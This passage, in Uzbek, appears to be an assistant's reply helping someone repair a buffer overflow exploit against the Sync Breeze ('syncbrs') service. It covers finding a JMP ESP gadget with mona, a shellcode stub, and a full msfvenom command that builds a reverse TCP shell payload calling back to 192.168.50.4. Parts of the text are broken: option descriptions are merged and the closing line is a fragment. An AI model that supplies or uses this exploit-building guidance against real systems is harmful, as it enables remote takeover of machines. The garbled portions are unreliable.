Siz ko‘rsatganidek, ekspluatatsiyadagi return address — 0x10090c83 ("\\x83\\x0c\\x09\\x10") — msvbvm60.dll kutubxonasidagi JMP ESP manziliga tegishli. Ammo bu DLL target tizimda yuklanmagan, shuning uchun bu manzil noto‘g‘ri bo‘ladi.
Agar bu DLL yo‘q bo‘lsa (yoki ASLR tufayli manzillar har safar o‘zgarayotgan bo‘lsa), siz quyidagilarni qilishingiz kerak:
Immunity Debugger orqali syncbrs protsessini Attach qilib, View > Executable Modules orqali qaysi .dll modullar ASLRsiz yuklanganini ko‘ring.
Bu modullardan birida JMP ESP (opcode: FFE4) kabi gadjetni toping:
!mona modules ; faqat ASLRsiz modullarni ko‘rsatadi
!mona find -s "\\xff\\xe4" -m modul_nomi.dll
Bu sizga ishlatish mumkin bo‘lgan JMP ESP manzilini beradi.
Siz keltirgan shellcode misoli:
unsigned char shellcode[] =
"\\x90\\x90\\x90..." // NOP slide
"\\xdb\\xda\\xbd..." // payload...
Bu shellcode ehtimoliy reverse shell bo‘lishi mumkin, lekin uning asl vazifasini aniqlash uchun uni decoder bilan tahlil qilish yoki IDA/objdump orqali disassemble qilish kerak bo‘ladi.
Siz to‘g‘ri ko‘rsatganingizdek, msfvenom bilan o‘zingizga mos, C formatdagi shellcode yaratishingiz mumkin:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.50.4 LPORT=443 \\
EXITFUNC=thread -f c -e x86/shikata_ga_nai -b "\\x00\\x0a\\x0d\\x25\\x26\\x2b\\x3d"
Bu yerda:
e x86/shikata_ga_nai— polymorphic encoderb— bad chars ro‘yxati (masalan: NULL, newline, CR,%,+,=)
ASLR yoqilgan tizimlarda system DLL lar, jumladan kernel32.dll, user32.dll kabi kutubxonalar har safar boshqa joyda yuklanadi. Bu shuni anglatadiki — JMP ESP manzilingiz har safar boshqa bo‘ladi, shuning uchun:
.dll lar yoki aynan exploit qilinayotgan dastur modullari).